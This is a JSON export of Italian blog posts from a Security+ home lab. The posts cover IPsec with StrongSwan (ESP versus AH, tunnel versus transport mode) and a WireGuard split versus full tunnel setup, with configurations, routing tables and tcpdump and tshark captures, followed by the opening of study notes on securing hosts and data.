i pacchetti.\nRisultato: CHILD_SA stabilita con due SPI:\nc36742cc_i - inbound c2359b1c_o - outbound Ogni pacchetto ESP porta il suo SPI nell'header - il ricevitore lo usa per trovare la SA giusta e sapere come decifrare.\nTraffic Selector: 192.168.64.200/32 === 192.168.64.3/32 - solo il traffico tra questi due IP entra nel tunnel.\nKali (192.168.64.200) Ubuntu (192.168.64.3) │ │ │── IKE_SA_INIT ──────── UDP 500 ────────►│ │ 924 byte - negozia algoritmi │ │◄── IKE_SA_INIT response ────────────────│ │ 280 byte - proposta accettata │ │ │ │ [NAT rilevato → switch a UDP 4500] │ │ │── IKE_AUTH ─────────── UDP 4500 ───────►│ │ 448 byte - PSK auth + richiede CHILD │ │◄── IKE_AUTH response ───────────────────│ │ 272 byte - CHILD_SA stabilita │ │ │ │ SPI outbound Kali: 0xc2359b1c │ │ SPI outbound Ubuntu: 0xc36742cc │ │ │ │══ traffico ESP (proto 50) ══════════════►│ ESP - il traffico cifrato sul cavo # sudo tcpdump -i enp0s1 proto 50 ping 192.168.64.3 # da Kali 192.168.64.200 \u0026gt; barno-server: ESP(spi=0xc2359b1c,seq=0x1), length 136 barno-server \u0026gt; 192.168.64.200: ESP(spi=0xc36742cc,seq=0x1), length 136 192.168.64.200 \u0026gt; barno-server: ESP(spi=0xc2359b1c,seq=0x2), length 136 barno-server \u0026gt; 192.168.64.200: ESP(spi=0xc36742cc,seq=0x2), length 136 192.168.64.200 \u0026gt; barno-server: ESP(spi=0xc2359b1c,seq=0x3), length 136 Tre cose visibili nell'output:\n1. SPI in ogni pacchetto - 0xc2359b1c è l'SPI outbound di Kali, 0xc36742cc è l'SPI outbound di Ubuntu. Matchano esattamente i valori che ipsec up aveva stampato: SPIs c36742cc_i c2359b1c_o. Il ricevitore usa l'SPI per trovare la SA giusta.\n2. seq che incrementa - anti-replay. Se qualcuno intercetta il pacchetto seq=0x1 e lo rimanda, Ubuntu lo scarta: quel sequence number è già stato processato.\n3. Nessun payload visibile - solo length 136. ESP ha cifrato tutto con AES-256. A differenza di AH che vedremo dopo, non c'è nulla da leggere dentro.\nPacchetto ESP sul cavo (enp0s1) - vista dell\u0026#39;attaccante: ┌────────────────────────────────────────────────┐ │ IP header: 192.168.64.200 → 192.168.64.3 │ ← visibile │ proto: 50 (ESP) │ ← visibile ├──────────────┬─────────────────────────────────┤ │ SPI │ 0xc2359b1c │ ← visibile (identifica la SA) │ seq │ 0x01, 0x02, 0x03... │ ← visibile (anti-replay) ├──────────────┴─────────────────────────────────┤ │ Encrypted payload │ ← cifrato con AES-256 │ [ ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ] │ │ │ │ dentro c\u0026#39;è: ICMP echo → 192.168.64.3 │ ← illeggibile dall\u0026#39;esterno └────────────────────────────────────────────────┘ AH - autenticazione senza cifratura # AH (Authentication Header, IP protocol 51) firma ogni pacchetto ma non cifra nulla. Il payload viaggia in chiaro sul cavo.\nAggiungo una connessione AH in /etc/ipsec.conf su entrambe le VM:\nconn mustache-ah left=192.168.64.3 right=192.168.64.200 type=transport ah=sha256 ikelifetime=1h keylife=30m authby=secret auto=add Su Kali: stessa struttura con left=192.168.64.200 and right=192.168.64.3.\nsudo ipsec restart Avvio il tunnel AH da Kali:\nsudo ipsec up mustache-ah Su Ubuntu, tcpdump in ascolto su proto 51 (AH):\nsudo tcpdump -i enp0s1 -n proto 51 -v Da Kali, ping:\nping 192.168.64.3 Output tcpdump:\n192.168.64.200 \u0026gt; 192.168.64.3: AH(spi=0x...,seq=0x1): 192.168.64.200 \u0026gt; 192.168.64.3: ICMP echo request, id 1, seq 1, length 64 192.168.64.3 \u0026gt; 192.168.64.200: AH(spi=0x...,seq=0x1): 192.168.64.3 \u0026gt; 192.168.64.200: ICMP echo reply, id 1, seq 1, length 64 Differenza netta con ESP: tcpdump legge ICMP echo request dentro il pacchetto AH. Il payload non è cifrato - chiunque annusi il cavo vede cosa passa. AH garantisce solo che il pacchetto non sia stato manomesso (integrità) e che venga da chi dice di essere (autenticazione). Non garantisce riservatezza.\nAH e NAT non vanno d'accordo: AH include nell'HMAC anche gli IP header. Se un NAT modifica l'IP sorgente durante il transito, la firma non batte più e il pacchetto viene scartato. ESP non ha questo problema perché firma solo il payload cifrato, non gli IP header esterni.\nESP vs AH - il confronto # ESP (proto 50) AH (proto 51) Cifratura Si (AES-256) No Autenticazione Si Si Funziona con NAT Si (via NAT-T, UDP 4500) No Payload visibile in tcpdump No Si Usato in pratica Sempre Quasi mai AH esiste ancora come standard ma nessuno lo usa in produzione: non cifra, e non passa il NAT. Security+ lo chiede perché è un esame, non perché lo vedrai in un firewall reale.\nTunnel mode vs Transport mode # Finora la connessione mustache usava type=tunnel. Esiste anche type=transport - cambio l'unica riga e riavvio:\nconn mustache ... type=transport # era: tunnel ... sudo ipsec restart sudo ipsec up mustache tcpdump su enp0s1 con tunnel mode:\n192.168.64.200 \u0026gt; 192.168.64.3: ESP(spi=0xc2359b1c,seq=0x1), length 136 tcpdump su enp0s1 con transport mode:\n192.168.64.200 \u0026gt; 192.168.64.3: ESP(spi=0x...,seq=0x1), length 112 Il payload è più corto: in transport mode manca l'inner IP header cifrato.\nTunnel mode - wrappa tutto il pacchetto originale: ┌── outer IP ──┬── ESP ──┬─── cifrato ─────────────────┐ │ .200 → .3 │ header │ inner IP (.200→.3) + ICMP │ └─────────────┴─────────┴─────────────────────────────┘ ↑ aggiunge un nuovo IP header IP originale nascosto ↑ Transport mode - protegge solo il payload: ┌── IP ────────┬── ESP ──┬── cifrato ──┐ │ .200 → .3 │ header │ ICMP │ └─────────────┴─────────┴─────────────┘ ↑ IP header originale rimane payload nascosto ↑ Tunnel mode: usato nei VPN gateway - nasconde la topologia interna (gli IP interni sono dentro il tunnel cifrato). Transport mode: usato host-to-host su LAN dove gli IP sono già noti - overhead minore perché non duplica l'IP header.\nexit 0 # Tre protocolli, un lab. IKE negozia in segreto su UDP 500, passa a 4500 se c'è NAT, poi sparisce. Sul cavo rimane solo ESP o AH.\nESP cifra: tcpdump vede SPI e seq, il payload è ??. AH autentica: tcpdump vede tutto, incluso l'ICMP dentro. Per questo AH non si usa - nessuno vuole mandare dati in chiaro solo perché sono \u0026quot;firmati\u0026quot;.\nLa domanda Security+ più comune su IPsec: quale protocollo fornisce confidentiality? - ESP. AH no.\nComandi usati: ipsec · tcpdump · ping Concetti correlati: ipsec · cryptography · tcp-udp Approfondimento: cap-04-securing-your-network · il-tunnel-che-sceglie\n","date":"30 maggio 2026","externalUrl":null,"permalink":"/blog/ipsec-strongswan-esp-ah/","section":"Blog","summary":" TL;DR IPsec Suite: Una suite di protocolli di rete sicuri (IKE + ESP + AH) implementata a livello IP per garantire autenticazione, integrità e riservatezza. IKE (Internet Key Exchange): Negozia gli algoritmi di sicurezza e stabilisce le Security Association (SA) scambiando chiavi tramite Diffie-Hellman (UDP 500/4500). ESP (Encapsulating Security Payload): Cifra il payload dei pacchetti (ad es. con AES-256) garantendo riservatezza ed autenticazione. Supporta il NAT tramite incapsulamento NAT-T. AH (Authentication Header): Firma crittograficamente i pacchetti per garantirne l'integrità, ma non cifra il payload, lasciando i dati in chiaro ed esposti allo sniffing. Tunnel vs Transport: Tunnel mode cifra l'intero pacchetto originale aggiungendo un nuovo header IP (ideale per VPN Site-to-Site); Transport mode cifra solo il payload (ideale per host-to-host). ▶ $ history apt install strongswan -y ipsec version ipsec restart ipsec up mustache ipsec statusall tcpdump -i enp0s1 udp port 500 tcpdump -i enp0s1 proto 50 tcpdump -i enp0s1 proto 51 -v ping 192.168.64.3 Configurare IPsec host-to-host con StrongSwan e vedere con tcpdump la differenza tra ESP e AH. ESP cifra il payload - AH no. Questa distinzione è una domanda classica Security+ e fondamentale per la sicurezza di rete.\n","title":"ESP cifra, AH no: IPsec visto dal vivo","type":"blog"},{"content":"","date":"30 maggio 2026","externalUrl":null,"permalink":"/tags/home-lab/","section":"Tags","summary":"","title":"Home-Lab","type":"tags"},{"content":" TL;DR WireGuard: VPN moderna basata su Curve25519 e ChaCha20, integrata direttamente nel kernel Linux come interfaccia di rete virtuale (wg0). VPN Concentrator: Il dispositivo (in questo lab Ubuntu) che termina il tunnel cifrato, decifra il traffico e lo instrada verso la rete interna. Split Tunnel (AllowedIPs = 10.0.0.0/24): Solo il traffico destinato alla subnet della VPN passa nel tunnel; il traffico internet esce in chiaro tramite il gateway locale. Full Tunnel (AllowedIPs = 0.0.0.0/0): Tutto il traffico, incluso quello internet, viene convogliato nel tunnel cifrato e richiede IP forwarding e MASQUERADE sul concentratore. Visibilità di rete: tcpdump/tshark mostrano solo pacchetti UDP cifrati sull'interfaccia fisica (enp0s1), mentre svelano il traffico ICMP/IP decifrato su quella virtuale (wg0). ▶ $ history apt install wireguard -y wg genkey | tee privatekey | wg pubkey \u0026gt; publickey wg-quick up wg0 wg-quick down wg0 ip route show traceroute 8.8.8.8 tcpdump -i wg0 tcpdump -i enp0s1 udp port 51820 tshark -r capture.pcap Configurare un tunnel WireGuard tra due VM e vedere con i propri occhi la differenza tra split tunnel e full tunnel. Non teoria - routing table e traceroute che lo dimostrano empiricamente.\nObiettivo del laboratorio # In questo articolo vedremo come configurare e analizzare una VPN basata su WireGuard, analizzando in tempo reale il comportamento del traffico di rete tra queste tre entità del nostro laboratorio virtuale:\nUbuntu (192.168.64.3) → VPN concentrator (wg0: 10.0.0.1) Kali (192.168.64.200) → client VPN (wg0: 10.0.0.2) Mac (192.168.64.1) → gateway Cos'è WireGuard # WireGuard è un protocollo VPN moderno integrato nel kernel Linux. Crea un'interfaccia di rete virtuale (wg0) e cifra tutto il traffico che ci passa usando Curve25519 (scambio chiavi), ChaCha20 (cifratura) e Poly1305 (integrità).\nPer il kernel, wg0 è una NIC (Network Interface Card) come le altre - ma con un layer di cifratura trasparente sotto. NIC è qualsiasi interfaccia di rete: fisica come enp0s1 o eth0, o virtuale come wg0. Le applicazioni non sanno che il traffico viene cifrato: lo vedono come una rete normale.\nRispetto a IPsec: meno configurazione, codice più piccolo (\u0026lt; 4000 righe vs centinaia di migliaia), più veloce su hardware moderno. Rispetto a OpenVPN: non usa TLS, gira nel kernel invece che in userspace.\nVPN non è WireGuard. VPN è il concetto - un tunnel cifrato su rete pubblica. WireGuard, IPsec, OpenVPN sono i protocolli che lo implementano. Quando una domanda Security+ chiede \u0026quot;quale protocollo per VPN site-to-site?\u0026quot; la risposta è IPsec, non VPN.\nWireGuard vs IPsec - quando si usa quale # WireGuard - quando puoi scegliere tu:\nSetup moderno, funziona su Linux/Mac/Windows/mobile Performance alta (gira nel kernel, usa ChaCha20) Configurazione semplice, pochi peer Tipico: accesso remoto dipendenti, home lab, VPN personale IPsec - quando non puoi scegliere:\nStandard enterprise da 30 anni - Cisco, Juniper, Fortinet lo parlano tutti Site-to-site tra router/firewall di vendor diversi (interoperabilità garantita) Ambienti regolamentati che richiedono standard certificati (FIPS, NSA Suite B) Tipico: VPN tra sedi aziendali, connessioni verso AWS/Azure VPN Gateway Trappola Security+: quando vedi \u0026quot;VPN tra due sedi aziendali\u0026quot; pensa IPsec. WireGuard è troppo recente per dominare le domande d'esame - il protocollo site-to-site standard rimane IPsec.\nCos'è un VPN concentrator # Il VPN concentrator è il terminatore del tunnel: riceve la connessione cifrata, autentica il client, decifra il traffico e lo instrada nella rete interna. Senza di lui il tunnel non ha dove terminare.\n┌──────────────────┐ ┌─────────────────────────────┐ │ Kali │ │ Ubuntu │ │ client VPN │ │ VPN concentrator │ │ 192.168.64.200 │ │ 192.168.64.3 │ │ wg0: 10.0.0.2 │ │ wg0: 10.0.0.1 │ └────────┬─────────┘ └──────────┬──────────────────┘ │ │ │ protocollo: WireGuard │ │ trasporto: UDP 51820 │ │ cifratura: ChaCha20 │ │════════════════════════════════════════════│ │ traffico cifrato │ │ riceve │ autentica│ ← verifica chiave pubblica decifra │ ← ChaCha20 instrada ↓ ← routing verso rete interna rete interna In questo lab Ubuntu è il concentrator. Il concentrator non è per forza hardware dedicato:\nForma Esempi Hardware dedicato Cisco ASA, Juniper SRX NGFW con VPN integrata Palo Alto, Fortinet, pfSense Software su server OpenVPN, WireGuard - come in questo lab Cloud gateway AWS VPN Gateway, Azure VPN Gateway Nel lab vs nel mondo reale # In un'azienda reale il concentrator ha una \u0026quot;gamba\u0026quot; su internet e una \u0026quot;gamba\u0026quot; sulla rete interna - e sta nella DMZ (screened subnet), non direttamente sulla LAN:\nInternet │ │ tunnel cifrato │ [DMZ] Ubuntu concentrator (192.168.64.3) │ │ decifra → instrada verso... │ ├── file server (10.10.0.5) ├── database (10.10.0.10) └── intranet (10.10.0.20) Nel nostro lab Ubuntu non è in una DMZ - è sulla stessa rete flat di Kali (192.168.64.x). E non c'è nulla \u0026quot;dietro\u0026quot; di lui: Ubuntu è allo stesso tempo il concentrator e la rete interna. Funziona per capire il tunnel, ma nella realtà il concentrator sarebbe il punto di ingresso verso risorse interne separate.\nInstallazione # apt install wireguard -y wg --version Su entrambe le VM.\nLe chiavi # wg genkey | tee server_private | wg pubkey \u0026gt; server_public Che cosa sono queste chiavi?\nWireGuard usa Curve25519 - crittografia a curva ellittica. Il comando fa tre cose in pipe: wg genkey genera 256 bit random (chiave privata). tee la salva su file e la passa avanti. wg pubkey deriva la chiave pubblica dalla privata - operazione a senso unico, non si torna indietro. La pubblica si condivide con i peer. La privata non esce mai dalla macchina.\nErrore su Kali: sudo non si propaga nel pipe # $ sudo wg genkey | tee client_private | wg pubkey \u0026gt; client_public tee: client_private: Permission denied Soluzione:\nsudo su - wg genkey | tee client_private | wg pubkey \u0026gt; client_public sudo su - apre una shell root completa. Il - carica l'ambiente di root (home /root, PATH, variabili) - senza - hai i permessi ma l'ambiente dell'utente precedente.\nConfigurazione tunnel # Ubuntu (/etc/wireguard/wg0.conf):\n[Interface] Address = 10.0.0.1/24 ListenPort = 51820 PrivateKey = \u0026lt;server_private\u0026gt; [Peer] PublicKey = \u0026lt;client_public\u0026gt; AllowedIPs = 10.0.0.2/32 Kali (/etc/wireguard/wg0.conf):\n[Interface] Address = 10.0.0.2/24 PrivateKey = \u0026lt;client_private\u0026gt; [Peer] PublicKey = \u0026lt;server_public\u0026gt; Endpoint = 192.168.64.3:51820 AllowedIPs = 10.0.0.0/24 Come funziona il routing tra le due interfacce # wg-quick up wg0 crea wg0 ma non sostituisce eth0 - entrambe le interfacce restano attive contemporaneamente. È il kernel che decide quale usare in base alla destinazione:\nip route su Kali: default via 192.168.64.1 dev eth0 ← tutto il resto → eth0 (fisico) 10.0.0.0/24 dev wg0 ← 10.0.0.x → wg0 (tunnel) 192.168.64.0/24 dev eth0 ← rete locale → eth0 (fisico) Non sei tu che scegli l'interfaccia - scegli la destinazione, ci pensa il kernel:\nping 10.0.0.1 → kernel vede 10.0.0.x → usa wg0 → cifra e manda nel tunnel ping 8.8.8.8 → kernel non trova route specifica → usa default → esce da eth0 diretto Ubuntu è raggiungibile in due modi contemporaneamente: 192.168.64.3 via eth0 (in chiaro) e 10.0.0.1 via wg0 (cifrato). Stessa macchina, due percorsi diversi.\nCome funziona la crittografia # Kali non cifra con la sua chiave privata nel senso classico. WireGuard usa ECDH (Elliptic Curve Diffie-Hellman):\nKali: chiave_privata_kali + chiave_pubblica_ubuntu → chiave di sessione Ubuntu: chiave_privata_ubuntu + chiave_pubblica_kali → stessa chiave di sessione Entrambi arrivano alla stessa chiave simmetrica senza mai mandarsela in rete. Poi ChaCha20 cifra il traffico con quella chiave. Le chiavi pubbliche servono solo per il handshake iniziale.\nUbuntu ha la chiave pubblica di ogni client nel [Peer] del suo config. Quando arriva un pacchetto cifrato, controlla quale peer può averlo mandato. Per aggiungere un nuovo client basta aggiungere un blocco [Peer] con la sua chiave pubblica - nessun certificato, nessuna CA.\nAllowedIPs: la whitelist doppia # AllowedIPs = 10.0.0.2/32 su Ubuntu non è solo un filtro - è una whitelist che funziona in entrambe le direzioni:\nIn ingresso: accetta pacchetti da questo peer solo se dichiarano sorgente 10.0.0.2. Un pacchetto che dice di venire da un altro IP viene scartato. In uscita: instrada verso 10.0.0.2 solo tramite questo peer. Su Kali, AllowedIPs = 10.0.0.0/24 dice al kernel: \u0026quot;tutto il traffico verso 10.0.0.x va nel tunnel verso Ubuntu\u0026quot;. È questo parametro che crea la differenza tra split e full tunnel - cambiarlo in 0.0.0.0/0 sposta il default route nel tunnel e tutto il traffico segue.\nwg-quick up wg0 Output su Ubuntu:\n[#] ip link add wg0 type wireguard [#] ip -4 address add 10.0.0.1/24 dev wg0 [#] ip link set mtu 1420 up dev wg0 MTU 1420 invece di 1500: WireGuard aggiunge ~80 byte di header cifrato, il kernel riduce l'MTU per evitare frammentazione.\nTunnel up - ping da Kali a 10.0.0.1 risponde.\nSplit Tunnel # Con AllowedIPs = 10.0.0.0/24 nel config di Kali, solo il traffico verso la rete interna 10.0.0.x entra nel tunnel. Tutto il resto esce diretto.\nip route su Kali lo mostra chiaramente:\ndefault via 192.168.64.1 dev eth0 onlink 10.0.0.0/24 dev wg0 proto kernel scope link src 10.0.0.2 192.168.64.0/24 dev eth0 proto kernel scope link src 192.168.64.200 La riga default punta ancora al Mac gateway (192.168.64.1), non a Ubuntu. Qualsiasi IP che non matcha 10.0.0.0/24 usa il default - esce diretto da casa.\nLa prova: traceroute 8.8.8.8 da Kali con tunnel attivo:\n1 192.168.64.1 (192.168.64.1) ← Mac gateway - NON Ubuntu 2 myfastgate.lan (192.168.1.254) ← router di casa 3 192.168.128.1 ← ISP (Fastweb) 4 * * * 5 172.30.25.193 ... 14 dns.google (8.8.8.8) Il primo hop è 192.168.64.1 - il Mac. Il traffico verso Google non ha mai visto Ubuntu. La ricerca Google di Kali parte da casa, non dall'ufficio. Il tunnel esiste, ma sceglie cosa passarci dentro.\nConfronto: traceroute 10.0.0.1 (Ubuntu via tunnel):\n1 10.0.0.1 (10.0.0.1) 14.067 ms Un solo hop. Il tunnel WireGuard appare come un cavo diretto punto-punto - non importa che fisicamente il traffico passi per eth0 e la rete 192.168.64.x. Dal punto di vista del routing, wg0 è un link diretto tra Kali e Ubuntu.\nFull Tunnel # Una riga cambia tutto. In /etc/wireguard/wg0.conf su Kali:\nAllowedIPs = 0.0.0.0/0, ::/0 0.0.0.0/0 significa \u0026quot;tutti gli IP\u0026quot; - il kernel instraderà tutto il traffico nel tunnel, incluso il default route verso internet.\nSu Ubuntu - due comandi obbligatori prima di riavviare il tunnel:\necho 1 \u0026gt; /proc/sys/net/ipv4/ip_forward sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o enp0s1 -j MASQUERADE Il primo abilita il forwarding dei pacchetti tra interfacce. Il secondo aggiunge il NAT: i pacchetti di Kali (10.0.0.0/24) che escono da enp0s1 vengono mascherati con l'IP di Ubuntu - Google vede Ubuntu, non Kali.\nRiavvia il tunnel su Kali:\nwg-quick down wg0 \u0026amp;\u0026amp; wg-quick up wg0 Questa volta wg-quick aggiunge regole di policy routing:\n[#] ip -4 rule add not fwmark 51820 table 51820 [#] ip -4 rule add table main suppress_prefixlength 0 [#] ip -4 route add 0.0.0.0/0 dev wg0 table 51820 ip route mostra ancora default via 192.168.64.1 - ma è fuorviante. Il default è nella tabella main, il full tunnel usa la tabella 51820:\nip route show table 51820 # default dev wg0 scope link ip rule show # 32764: from all lookup main suppress_prefixlength 0 # 32765: not from all fwmark 0xca6c lookup 51820 # 32766: from all lookup main La logica anti-loop: WireGuard marca i propri pacchetti con fwmark 0xca6c. La regola 32765 dice \u0026quot;vai in tabella 51820 solo se NON sei un pacchetto WireGuard\u0026quot;. Così i pacchetti UDP del tunnel escono da eth0 normalmente, senza rientrare nel tunnel.\nLa prova # traceroute 8.8.8.8 con full tunnel:\n1 10.0.0.1 (10.0.0.1) 8.207 ms Primo hop: Ubuntu. Non più il Mac.\nE ping 8.8.8.8 funziona - ma solo dopo aver aggiunto il MASQUERADE. Senza di esso, il traffico arriva a Ubuntu ma non sa come tornare a Kali:\n# senza MASQUERADE: 27 packets transmitted, 0 received, 100% packet loss # con MASQUERADE: 5 packets transmitted, 5 received, 0% packet loss, time 4011ms Il MASQUERADE era il tassello mancante. Ubuntu riceveva i pacchetti di Kali, li mandava a Google - ma Google rispondeva all'IP interno 10.0.0.2 che non è raggiungibile da internet. Con MASQUERADE, Ubuntu sostituisce 10.0.0.2 con il proprio IP pubblico prima di mandare il pacchetto fuori. Google risponde a Ubuntu, Ubuntu gira la risposta a Kali.\ntcpdump - due finestre, due versioni dello stesso ping # Su Ubuntu, due terminali in parallelo mentre Kali fa ping 10.0.0.1.\nTerminale 1 - enp0s1 (interfaccia fisica, traffico sul cavo):\nsudo tcpdump -i enp0s1 udp port 51820 192.168.64.200.49430 \u0026gt; barno-server.51820: UDP, length 148 ← handshake barno-server.51820 \u0026gt; 192.168.64.200.49430: UDP, length 92 ← handshake risposta 192.168.64.200.49430 \u0026gt; barno-server.51820: UDP, length 128 ← ping cifrato barno-server.51820 \u0026gt; 192.168.64.200.49430: UDP, length 128 ← pong cifrato Solo UDP. Nessun ICMP visibile, nessun IP interno. Un intercettatore sulla rete vede blob opachi.\nTerminale 2 - wg0 (interfaccia tunnel, dopo la decifratura):\nsudo tcpdump -i wg0 10.0.0.2 \u0026gt; barno-server: ICMP echo request, id 22872, seq 1, length 64 barno-server \u0026gt; 10.0.0.2: ICMP echo reply, id 22872, seq 1, length 64 Contenuto reale: ICMP ping tra i due IP del tunnel, perfettamente leggibile.\nKali (10.0.0.2) Ubuntu (10.0.0.1) │ │ │ quello che vede wg0 (dopo decifratura): │ │ ICMP echo request, length 64 │ │ ─────────────────────────────────────────────────► │ │ ICMP echo reply, length 64 │ │ ◄───────────────────────────────────────────────── │ │ │ │ quello che vede enp0s1 (sul cavo fisico): │ │ UDP 192.168.64.200 → 192.168.64.3:51820 │ │ length 128 [payload cifrato - illeggibile] │ │ ─────────────────────────────────────────────────► │ │ UDP 192.168.64.3:51820 → 192.168.64.200 │ │ length 128 [payload cifrato - illeggibile] │ │ ◄───────────────────────────────────────────────── │ L'overhead: il ping ICMP è 84 byte su wg0. Sul cavo fisico diventa 170 byte - 86 byte di overhead (Ethernet 14 + IP 20 + UDP 8 + WireGuard header + Poly1305 tag).\ntshark - dentro la struttura del protocollo # tcpdump mostra solo \u0026quot;UDP blob\u0026quot;. tshark decodifica la struttura WireGuard frame per frame, anche senza poter aprire il payload cifrato.\nSu wg0 - contenuto completo visibile:\nFrame 1: 84 bytes - Protocols: raw:ip:icmp:data IP Src: 10.0.0.2 Dst: 10.0.0.1 ICMP Type: 8 (Echo request) Seq: 1 Data: 10 11 12 13 14 15 16 17... ← payload del ping in chiaro Frame 2: 84 bytes - Protocols: raw:ip:icmp:data IP Src: 10.0.0.1 Dst: 10.0.0.2 ICMP Type: 0 (Echo reply) Seq: 1 Response time: 0.935 ms Tutto leggibile: IP sorgente, destinazione, tipo ICMP, sequence number, persino i byte del payload in esadecimale.\nSu enp0s1 - struttura WireGuard visibile, contenuto no:\nFrame 1: 190 bytes - Handshake Initiation (Kali → Ubuntu) Sender: 0x6b362a51 Ephemeral: VORjGlFLYZNri0fC8rKSwPMJ... ← chiave temporanea Encrypted Static ← chiave statica di Kali, cifrata Encrypted Timestamp ← anti-replay Frame 2: 134 bytes - Handshake Response (Ubuntu → Kali) Sender: 0xebef2b9b Receiver: 0x6b362a51 ← risponde a Kali Ephemeral: fWt0VsQBI/Sp4paMN/nkm7SM... ← chiave temporanea di Ubuntu Encrypted Empty ← conferma handshake Frame 3: 170 bytes - Transport Data (Kali → Ubuntu) Receiver: 0xebef2b9b Counter: 0 ← anti-replay: primo pacchetto dati Encrypted Packet ← ICMP echo request - invisibile Frame 4: 170 bytes - Transport Data (Ubuntu → Kali) Receiver: 0x6b362a51 Counter: 0 Encrypted Packet ← ICMP echo reply - invisibile Il disegno completo dei 4 frame:\nKali (192.168.64.200) Ubuntu (192.168.64.3) │ │ │──── Frame 1: Handshake Initiation ────────►│ │ 190 bytes │ │ Ephemeral key + Encrypted Static │ │ [negoziazione chiave di sessione] │ │ │ │◄─── Frame 2: Handshake Response ───────────│ │ 134 bytes │ │ Ephemeral key + Encrypted Empty │ │ [sessione stabilita - chiavi pronte] │ │ │ │──── Frame 3: Transport Data ───────────────►│ │ 170 bytes │ │ Counter: 0 / Encrypted Packet │ │ [dentro: ICMP echo request - cifrato] │ │ │ │◄─── Frame 4: Transport Data ───────────────│ │ 170 bytes │ │ Counter: 0 / Encrypted Packet │ │ [dentro: ICMP echo reply - cifrato] │ │ │ vede enp0s1 vede wg0 (attaccante) (dopo decifratura) UDP blob opachi ICMP in chiaro Tre cose che tshark rivela:\n1. Handshake in 2 soli messaggi. IPsec (IKE) ne usa 6+. WireGuard è radicale: iniziazione + risposta, fatto.\n2. Ephemeral keys - forward secrecy. Le chiavi temporanee cambiano ad ogni sessione. Se un attaccante cattura tutto il traffico oggi e ruba le chiavi statiche domani, non può decifrare le sessioni passate: le chiavi effimere sono già state buttate via.\n3. Counter anti-replay. Parte da 0 e sale per ogni pacchetto. Se qualcuno intercetta un pacchetto e lo rimanda, il ricevitore lo scarta: quel counter è già stato processato.\nLa vista dell'attaccante # enp0s1 è esattamente quello che vede un attaccante che fa ARP poisoning sulla rete fisica - intercetta il cavo ma è fuori dal tubo VPN:\nRete fisica (192.168.64.x) │ ┌─────────────┴─────────────┐ │ ATTACCANTE │ │ (ARP poisoning, MITM) │ │ │ │ vede: │ │ 192.168.64.200 │ │ → 192.168.64.3:51820 │ │ UDP, length 128 │ │ [blob cifrato opaco] │ │ │ │ NON vede: │ │ ICMP echo request │ │ 10.0.0.2 → 10.0.0.1 │ └───────────────────────────┘ │ │ Kali Ubuntu (10.0.0.2) (10.0.0.1) │ │ └──── tubo WireGuard ───────┘ cifrato con ChaCha20 + Poly1305 L'attaccante sa che c'è traffico tra i due IP e sa la dimensione dei pacchetti - ma non il contenuto. Questo è esattamente il threat model che la VPN risolve: proteggere i dati su una rete non fidata (wifi pubblico, ISP compromesso, rete aziendale con un insider).\nexit 0 # Alla fine del lab, tre concetti che sembravano astratti diventano concreti:\nVPN non è una modalità di comunicazione - è una tecnologia. Crea un canale privato cifrato sopra una rete pubblica. WireGuard, IPsec, OpenVPN sono le implementazioni. La VPN è il concetto.\nSplit tunnel: decide il kernel, non l'interfaccia. AllowedIPs crea delle route nella tabella di routing. Il kernel confronta la destinazione di ogni pacchetto con quelle route e sceglie l'interfaccia - wg0 se la destinazione è nella lista, eth0 altrimenti. Non è l'interfaccia che \u0026quot;capisce\u0026quot; - è il routing table che decide.\nFull tunnel: non c'è whitelist, c'è tutto. AllowedIPs = 0.0.0.0/0 non è una lista selettiva - è \u0026quot;tutto senza eccezioni\u0026quot;. La whitelist esiste solo in split tunnel, dove AllowedIPs è una lista specifica di reti. In full tunnel quella lista include ogni IP possibile, quindi il concetto di selezione scompare.\nIl concentrator fa tre cose: riceve il traffico cifrato su UDP 51820, lo decifra con la chiave di sessione derivata dall'ECDH, e lo instrada verso la rete interna. In questo lab Ubuntu fa tutto da solo - in produzione avrebbe una rete di server, database e risorse interne dietro di lui, e starebbe in DMZ con un IP pubblico esposto su internet.\nWireGuard non parte da solo. wg-quick è manuale. Per renderlo persistente: systemctl enable wg-quick@wg0. Senza questo, al riavvio il tunnel non esiste.\nUna cosa che tcpdump non può mostrare ma tshark sì: il handshake in 2 messaggi, le ephemeral key, il counter anti-replay. La cifratura è opaca al contenuto ma trasparente nella struttura - e quella struttura racconta tutto sul protocollo.\nComandi usati: wg-quick · ip · tcpdump · tshark · iptables Concetti correlati: vpn-concentrator · wireguard · split-tunnel-full-tunnel Approfondimento: cap-04-securing-your-network · lab-ipsec-strongswan · lab-vpn-dmz-windows-internal\n","date":"30 maggio 2026","externalUrl":null,"permalink":"/blog/il-tunnel-che-sceglie/","section":"Blog","summary":" TL;DR WireGuard: VPN moderna basata su Curve25519 e ChaCha20, integrata direttamente nel kernel Linux come interfaccia di rete virtuale (wg0). VPN Concentrator: Il dispositivo (in questo lab Ubuntu) che termina il tunnel cifrato, decifra il traffico e lo instrada verso la rete interna. Split Tunnel (AllowedIPs = 10.0.0.0/24): Solo il traffico destinato alla subnet della VPN passa nel tunnel; il traffico internet esce in chiaro tramite il gateway locale. Full Tunnel (AllowedIPs = 0.0.0.0/0): Tutto il traffico, incluso quello internet, viene convogliato nel tunnel cifrato e richiede IP forwarding e MASQUERADE sul concentratore. Visibilità di rete: tcpdump/tshark mostrano solo pacchetti UDP cifrati sull'interfaccia fisica (enp0s1), mentre svelano il traffico ICMP/IP decifrato su quella virtuale (wg0). ▶ $ history apt install wireguard -y wg genkey | tee privatekey | wg pubkey \u003e publickey wg-quick up wg0 wg-quick down wg0 ip route show traceroute 8.8.8.8 tcpdump -i wg0 tcpdump -i enp0s1 udp port 51820 tshark -r capture.pcap Configurare un tunnel WireGuard tra due VM e vedere con i propri occhi la differenza tra split tunnel e full tunnel. Non teoria - routing table e traceroute che lo dimostrano empiricamente.\n","title":"Il Tunnel che Sceglie: Split vs Full VPN con WireGuard","type":"blog"},{"content":"","date":"30 maggio 2026","externalUrl":null,"permalink":"/tags/security-plus/","section":"Tags","summary":"","title":"Security-Plus","type":"tags"},{"content":" mindmap root((Cap 5 Securing Hosts and Data)) Virtualization Implementing Secure Systems Protecting Data Cloud Concepts Hardening Cloud Environments Mobile Devices Embedded Systems Cosa fa # Risponde alla domanda: cosa devi proteggere quando il perimetro non esiste piu'? Il capitolo copre sette superfici di attacco distinte — virtualizzazione, endpoint, dati, cloud, mobile, IoT, sistemi embedded — ciascuna con le sue vulnerabilita', i suoi controlli e le sue trappole da esame.\nTL;DR # Il perimetro tradizionale era il firewall ai bordi della rete. 